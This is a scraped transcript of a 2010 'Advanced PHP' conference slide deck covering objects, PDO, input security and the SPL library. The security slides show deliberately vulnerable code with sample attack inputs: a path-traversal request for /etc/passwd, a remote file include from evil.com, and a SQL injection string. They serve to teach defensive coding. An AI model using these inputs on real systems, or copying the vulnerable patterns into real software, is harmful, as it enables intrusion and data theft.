advanced php - macq electronique 2010

Post on 17-May-2015

3.765 Views

Category:

Technology

6 Downloads

Preview:

Click to see full reader

DESCRIPTION

Advanced view on PHP development with objects and classes explained, abstraction and security and the hidden gem SPL.

TRANSCRIPT

Advanced PHPMacq Electronique, Brussels 2010

Michelangelo van Dam

Targeted audience

developersgeeks

software engineersgraduates computer science

Michelangelo van Dam

• Independent Consultant

• Zend Certified Engineer (ZCE)

- PHP 4 & PHP 5

- Zend Framework• Co-Founder of PHPBenelux• Shepherd of “elephpant” herds

For more information, please check out our website http://www.macqel.eu

TAIL ORMAD E SO LU T IO NS

Macq électronique, manufacturer and developer, proposes you a whole series of electronic and computing-processing solutions for industry, building and road traffic.

Macq électronique has set itself two objectives which are essential for our company :

developing with competence and innovation earning the confidence of our customers

Macq électronique presents many references carried out the last few years which attest to its human and technical abilities to meet with the greatest efficiency the needs of its customers.

Advanced PHP

Classes & ObjectsAbstraction

SecurityPHP Hidden Gems

Classes & Objects

Classes

• Class defines an object- constant features- properties- methods- magic• can inherit object properties and methods• can provide a basis for a multitude of objects

?

Object Simplified

properties methods- cycling- sitting- steering- paddling

constants- color- material- brand- type

Database Objects

Useridfullnameusernamepasswordemail

Functional Objects

MathaddValue($value)subtractValue($value)multiplyValue($value)divideValue($value)

Objects in PHP<?phpclass MyClass{ public $property;

public function setProperty($property) { $this->property = $property; return $this; } public function getProperty() { return $this->property; } }

$my = new MyClass;$my->setProperty('Test');var_dump($my);

// outputsobject(MyClass)#1 (1) { ["property"]=> string(4) "Test"}

And why is this better ?

• Uniform approach for data• Reuse of data structures and content• Providing a common vocabulary- when I say bicycle, everyone knows- when I say table User data, it gets trickier• Might be useful on other data sources as well- database- CSV files- web service- streams

Demo

Abstraction

DRY

Example data+----+----------+----------------------------------+| id | username | password |+----+----------+----------------------------------+| 1 | test1 | 5a105e8b9d40e1329780d62ea2265d8a | | 2 | test2 | ad0234829205b9033196ba818f7a872b | +----+----------+----------------------------------+

Database type

Getting data…<?php

if (false !== ($conn = mysql_connect('localhost','test',''))) { if (true === ($db = mysql_select_db('test'))) { $results = mysql_query('SELECT * FROM user', $conn); echo '<table>' . PHP_EOL; while ($row = mysql_fetch_assoc($results)) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL; } echo '</table>' . PHP_EOL; }}

// outputs:

<table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr></table>

But what if…

Database type changes

oops !

PDO

• PHP Data Objects- consistent interface- accessing databases- included since PHP 5.1 (PECL since 5.0)• data-access abstraction layer- same functions (methods)- different database products

Getting data with PDO<?php

try { $pdo = new PDO('mysql:dbname=test;host=localhost', 'test', '');} catch (PDOException $e) { echo 'Connection failed: ' . $e->getMessage();}$results = $pdo->query('SELECT * FROM user');echo '<table>' . PHP_EOL;foreach ($results as $row) { echo ' <tr><td>' . $row['id'] . '</td>'; echo '<td>' . $row['username'] . '</td></tr>' . PHP_EOL;}echo '</table>' . PHP_EOL;

// outputs:

<table> <tr><td>1</td><td>test1</td></tr> <tr><td>2</td><td>test2</td></tr></table>

informix, sqlite, pgsql, oci8, mssql,…

Demo

Security

Threats

• Known threats- cyber criminal attacks- competitors espionage- bad users providing faulty data (intentionally)• Lesser known treats- users providing faulty data (not intentionally)- services not responding- bad, untested, changed code- …

Rule #1Filter input, escape output

Unfiltered data…include $_GET['filename'];

…$sql = 'SELECT * FROM test WHERE username=' . $_POST['username'] . ' AND password=MD5(' . $_POST['password'] . ')';$results = $pdo->query($sql);

Blows up in your face…include $_GET['file'];

when callingscript.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

orscript.php?file=http%3A%2F%2Fevil.com%2Fscript.php

…$sql = 'SELECT * FROM test WHERE username=\'' . $_POST['username'] . '\' AND password=MD5(' . $_POST['password'] . ')';$results = $pdo->query($sql);

What happens when you post for username: “test' OR 1=1; --”

You want to run this in your MySQL client ???SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()

Filtering & Validation

• Filtering : modifying data before validation- trim whitespaces- put everything in lower case- stripping HTML-tags- …• Validation: check if the data meets conditions- data type (string, integer, float, object, …)- string length- is a valid email address- …

unescaped output

• wrong encoding on pages ( � )• translates html code into encoded entities• cross site scripting (XSS)• uncontrolled output of user generated content• …

Escaping output<?php

$string = "O'Reilly sells <b>great</b> books";

echo htmlentities($string, ENT_QUOTES, 'UTF-8') . PHP_EOL;// outputs: O&#039;Reilly sells &lt;b&gt;great&lt;/b&gt; books

Demo

PHP’s Hidden Gem

SPL

What is SPL ?

Standard PHP Libraryinterfaces, classes and methods

solve common development challenges

Available since PHP 5.0 !!!

As of 5.3 SPL cannot be turned off from the source !

SPL by Marcus Börger

Ittteerrrattor

Definition of SPL

SPL provides a huge toolkit that assists you to easily iterate over a diversity of data structures in a standardized way

What does it provide ?

• ArrayObject - approach arrays as objects• Iterators - various iterators• Interfaces - iterator interfaces for your objects• Exceptions - exceptions to streamline error handling• SPL Functions - extra functions and autoloader func• SplFileInfo - tools for filesystem access• Data structures - structuring data sequences

<?php phpinfo(); ?>

ArrayObject

• provides an interface- treat arrays as objects- elements are iteratable- provides serializing and deserializing of arrays- sorting elements (w/ or w/o callback methods)- exchange elements with other arrays or objects

ArrayObject Example<?php

$myArray = array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger',);

$obj = new ArrayObject($myArray);print_r($obj);

$obj->uasort(function ($a, $b) { if ($a == $b) { return 0; } return ($a < $b) ? -1 : 1;});print_r($obj);

ArrayObject outputArrayObject Object( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [test] => Sebastian Bergmann [iterate] => Marcus Börger )

)ArrayObject Object( [storage:ArrayObject:private] => Array ( [time] => Derick Rethans [iterate] => Marcus Börger [test] => Sebastian Bergmann )

)

More of ArrayObject…

// serializing object for caching, sessions, …$obj->serialize();

// adding more key/value elements to the stack$obj->offsetSet('enterprise', 'Ivo Jansch');

// removing by key$obj->offsetUnset('time');

Iterator

• provides a common interface• to iterate over “things”- xml data- database data- arrays• move back and forth in a stack• distinct methods to access keys and values• specific iterators for different purposes

Advantage ?

• Reusable code- data structures can change- object oriented❖ extending❖ refactoring❖ overloading

Example

• retrieve data in an array• with items filtered out

FilterIterator Example<?php

class filterOut extends FilterIterator{ private $_filter;

public function __construct(Iterator $it, $filter) { parent::__construct($it); $this->_filter = $filter; }

public function accept() { $key = $this->getInnerIterator()->key(); return ($key == $this->_filter) ? false : true; } }

FilterIterator output<?php

$myArray = array ( 'time' => 'Derick Rethans', 'test' => 'Sebastian Bergmann', 'iterate' => 'Marcus Börger',);$obj = new ArrayObject($myArray);

$iterator = new filterOut($obj->getIterator(), 'time');

foreach ($iterator as $item) { var_dump($item);}

//ouputsstring(18) "Sebastian Bergmann"string(13) "Marcus Börger"

DirectoryIterator

• dealing with files and directories• looping back and forth between files• sorting files w/ or w/o custom sorting algorithms

Example

• show an list of archive files• ordered with last archive first

Directory contents$ ls archives/datafile-20090901.csv datafile-20090906.csv datafile-20090911.csv datafile-20090916.csv datafile-20090921.csv datafile-20090926.csvdatafile-20090902.csv datafile-20090907.csv datafile-20090912.csv datafile-20090917.csv datafile-20090922.csv datafile-20090927.csvdatafile-20090903.csv datafile-20090908.csv datafile-20090913.csv datafile-20090918.csv datafile-20090923.csv datafile-20090928.csvdatafile-20090904.csv datafile-20090909.csv datafile-20090914.csv datafile-20090919.csv datafile-20090924.csv datafile-20090929.csvdatafile-20090905.csv datafile-20090910.csv datafile-20090915.csv datafile-20090920.csv datafile-20090925.csv datafile-20090930.csv

SortableDirectorIterator<?phpclass SortableDirectoryIterator extends DirectoryIterator{ public function sortUp() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? -1 : 1; }); return $storage; } public function sortDown() { $storage = $this->_getStorage(); $storage->uksort(function ($a, $b) { if ($a == $b) return 0; return ($a < $b) ? 1 : -1; }); return $storage; }

Our Storage Container… protected function _getStorage() { $obj = new ArrayObject(); foreach ($this as $file) { if ($file->isDot()) continue; $obj->offsetSet($file->getFileName(), $file->getFileInfo()); } return $obj; }}

$dir = new SortableDirectoryIterator('./archives');$sortObj = $dir->sortDown();$iterator = $sortObj->getIterator();while ($iterator->valid()) { echo $iterator->current()->getPathName() . PHP_EOL; $iterator->next();}

Descending filenames./archives/datafile-20090930.csv./archives/datafile-20090929.csv./archives/datafile-20090928.csv./archives/datafile-20090927.csv./archives/datafile-20090926.csv./archives/datafile-20090925.csv./archives/datafile-20090924.csv./archives/datafile-20090923.csv./archives/datafile-20090922.csv./archives/datafile-20090921.csv./archives/datafile-20090920.csv./archives/datafile-20090919.csv./archives/datafile-20090918.csv./archives/datafile-20090917.csv./archives/datafile-20090916.csv

./archives/datafile-20090915.csv

./archives/datafile-20090914.csv

./archives/datafile-20090913.csv

./archives/datafile-20090912.csv

./archives/datafile-20090911.csv

./archives/datafile-20090910.csv

./archives/datafile-20090909.csv

./archives/datafile-20090908.csv

./archives/datafile-20090907.csv

./archives/datafile-20090906.csv

./archives/datafile-20090905.csv

./archives/datafile-20090904.csv

./archives/datafile-20090903.csv

./archives/datafile-20090902.csv

./archives/datafile-20090901.csv

RecursiveIteratorIterator

• iterates over existing iterator• over multiple levels• easy to flatten out nested array structures• controlling recursive interactions

ExampleChuck Norris

Account Manager

Jane DoeProject Manager

CinderellaDeveloper

ShrekGraphical Designer

John DoeProject Manager

RecursiveIteratorIterator<?php$company = array ( array ( 'name' => 'Chuck Norris','position' => 'Account Manager', 'manages' => array ( array ( 'name' => 'Jane Doe','position' => 'Project Manager', 'manages' => array ( array ( 'name' => 'Cinderella','position' => 'Developer', 'manages' => array (), ), array ( 'name' => 'Shrek','position' => 'Graphical Designer', 'manages' => array (), ), ), ), array ( 'name' => 'John Doe','position' => 'Project Manager', 'manages' => array (), ), ), ),);

Flattened Array output$iterator = new RecursiveArrayIterator(new ArrayObject($company));$ritit = new RecursiveIteratorIterator($iterator);foreach ($ritit as $key => $value) { echo $key . ' = ' . $value . PHP_EOL;}

// outputsname = Chuck Norrisposition = Account Managername = Jane Doeposition = Project Managername = Cinderellaposition = Developername = Shrekposition = Graphical Designername = John Doeposition = Project Manager

Interfaces

• Countable: an internal counter• OuterIterator: iteration over inner iterators• RecursiveIterator: iterating in an recursive way• SeekableIterator: an internal stack seeker• SplObserver: implements observer pattern• SplSubject: implements observer pattern

Interface example<?php// file: Order.php

class Order implements Countable, SplSubject{ protected $_orders; protected $_count;

public function __construct() { $this->_count = 0; $this->_orders = array (); }

public function placeOrder() { $this->_count++; }

public function attach(SplObserver $observer) { $this->_orders[] = $observer; }

public function detach(SplObserver $observer) { // not used in this case }

Interface Example (2) public function notify() { foreach ($this->_orders as $obj) { $obj->update($this); } }

public function count() { return $this->_count; }}

<?php// file: PlaceOrder.php

class PlaceOrder implements SplObserver{ public function update(SplSubject $order) { echo 'We have ' . count($order) . ' orders now' . PHP_EOL; }}

Running Interface Example<?php

require_once 'Order.php';require_once 'PlaceOrder.php';

$order = new Order();$placeOrder = new PlaceOrder();

$order->attach($placeOrder);$order->notify();

$order->placeOrder();$order->notify();

$order->placeOrder();$order->notify();

$ php ./spl_observer.php We have 0 orders nowWe have 1 orders nowWe have 2 orders now

SPL Exceptions

• SPL Exceptions- templates- throw exceptions- common issues• Types of exceptions- LogicExceptions- RuntimeExceptions

SPL LogicException Tree

SPL RuntimeException Tree

Exceptions Example<?php//file: spl_exception01.phpclass MyClass{ public function giveANumberFromOneToTen($number) { if($number < 1 || $number > 10) { throw new OutOfBoundsException('Number should be between 1 and 10'); } echo $number . PHP_EOL; }}

$my = new MyClass();try { $my->giveANumberFromOneToTen(5); $my->giveANumberFromOneToTen(20);} catch (OutOfBoundsException $e) { echo $e->getMessage() . PHP_EOL;}

Output:$ /usr/bin/php ./spl_exception01.php5Number should be between 1 and 10

SplFunctions

• functions for PHP and SPL in particular• often dealing with auto loading• some for internal referencing

SplFunctions Example<?php

interface foo {}interface bar {}

class baz implements foo, bar {}class example extends baz {}

var_dump(class_implements(new baz));

var_dump(class_implements(new example));

Output of SplFunctionsarray(2) { ["foo"]=> string(3) "foo" ["bar"]=> string(3) "bar"}array(2) { ["bar"]=> string(3) "bar" ["foo"]=> string(3) "foo"}

SPLFileInfo

The SplFileInfo class offers a high-level object oriented interface to information for an individual file.

SplFileInfo Example<?php

// use the current file to get information from$file = new SplFileInfo(dirname(__FILE__));

var_dump($file->isFile());var_dump($file->getMTime());var_dump($file->getSize());var_dump($file->getFileInfo());var_dump($file->getOwner());

//outputbool(false)int(1244760945)int(408)object(SplFileInfo)#2 (0) {}int(501)

Processing CSV with SPLConsider the following data.csv

Derick Rethans;timeSebastian Bergmann;testMarcus Börger;iterateIvo Jansch;enterpriseMatthew Weier O'Phinney;extendMichelangelo van Dam;elephpant

SPL usage on CSV<?php$info = new SplFileInfo('data.csv');if ($info->isReadable()) { $file = $info->openFile(); $file->setFlags(SplFileObject::READ_CSV); $file->setCsvControl(';','"'); foreach ($file as $row) { list ($user, $term) = $row; if (null !== $user && null !== $term) { echo $user . ' is known for ' . $term . PHP_EOL; } } }

//outputsDerick Rethans is known for timeSebastian Bergmann is known for testMarcus Börger is known for iterateIvo Jansch is known for enterpriseMatthew Weier O'Phinney is known for extendMichelangelo van Dam is known for elephpant

Data Structures

• Available in PHP 5.3• SplDoublyLinkedList- SplStack- SplQueue- SplHeap- SplMaxHeap- SplMinHeap- SplPriorityQueue

Data Structures Example<?php// file: spl_stack01.php$stack = new SplStack();$stack->push('Message 1');$stack->push('Message 2');$stack->push('Message 3');

echo $stack->pop() . PHP_EOL;echo $stack->pop() . PHP_EOL;echo $stack->pop() . PHP_EOL;

Outputs:$ /usr/bin/php ./spl_stack01.php Message 3Message 2Message 1

SplHeap

• SplHeap is an abstract class- SplMinHeap implements SplHeap (low » high)- SplMaxHeap implements SplHeap (high » low)• stacking values w/o FIFO, FILO order

Simple SplHeap example<?php

$heap = new SplMinHeap;$heap->insert(5);$heap->insert(2);$heap->insert(8);$heap->insert(6);

$heap->top();while ($heap->valid()) { echo $heap->key() . ': ' . $heap->current() . PHP_EOL; $heap->next();}

//outputs3: 22: 51: 60: 8

JupilerLeague w/ SplHeap<?phpclass JupilerLeague extends SplHeap{ public function compare($array1, $array2) { $values1 = array_values($array1); $values2 = array_values($array2); if ($values1[0] === $values2[0]) return 0; return $values1[0] < $values2[0] ? -1 : 1; }}

$heap = new JupilerLeague();$heap->insert(array ('AA Gent' => 15)); $heap->insert(array ('Anderlecht' => 20));$heap->insert(array ('Cercle Brugge' => 11)); $heap->insert(array ('Charleroi' => 12));$heap->insert(array ('Club Brugge' => 21)); $heap->insert(array ('G. Beerschot' => 15));$heap->insert(array ('Kortrijk' => 10)); $heap->insert(array ('KV Mechelen' => 18));$heap->insert(array ('Lokeren' => 10)); $heap->insert(array ('Moeskroen' => 7));$heap->insert(array ('Racing Genk' => 11)); $heap->insert(array ('Roeselare' => 6));$heap->insert(array ('Standard' => 20)); $heap->insert(array ('STVV' => 17));$heap->insert(array ('Westerlo' => 10)); $heap->insert(array ('Zulte Waregem' => 15));

$heap->top();while ($heap->valid()) { list ($team, $score) = each ($heap->current()); echo $team . ': ' . $score . PHP_EOL; $heap->next();}

JupilerLeague ScoreboardClub Brugge: 21Anderlecht: 20Standard: 20KV Mechelen: 18STVV: 17Zulte Waregem: 15AA Gent: 15G. Beerschot: 15Charleroi: 12Racing Genk: 11Cercle Brugge: 11Kortrijk: 10Lokeren: 10Westerlo: 10Moeskroen: 7Roeselare: 6

Conclusion

SPL can help you solve common PHP issuesit’s built-in, so why not use it

it requires no “advanced skills” to use

SPL is not all good

• Matthew “Elazar” Turland pointed out:- Performance could be better (SPLStack)- ArrayObject doesn’t support all array

functions• See his presentation:

http://ishouldbecoding.com/publications

Recommended Reading

Zend PHP 5 Certification Study Guidephp|architect

Davey ShafikBen Ramsey

Recommended Reading

Object-Oriented Programming with PHP5Packt Publishing

Hasin Hayder

Recommended Reading

The PHP AnthologySitepoint

Davey ShafikMatthew Weier O’PhinneyLigaya TurmelleHarry FuecksBen Balbo

Recommended Reading

Essential PHP SecurityO’Reilly

Chris Shiflett

Credits

I want to believe - Official X-files movie posterhttp://www.xfiles.com

Composition No. 10. 1939-42. Piet Mondrian (WikiPedia Faire Use License)http://en.wikipedia.org/wiki/File:Mondrian_Comp10.jpg

Security - amelungchttp://flickr.com/photos/amelungc/3383538729

Warhol Inspired Gems - Jayt74http://flickr.com/photos/jayt74/3910181470

Questions ?

Slides on SlideSharehttp://www.slideshare.net/group/macqel

Give feedback !http://joind.in/1257

top related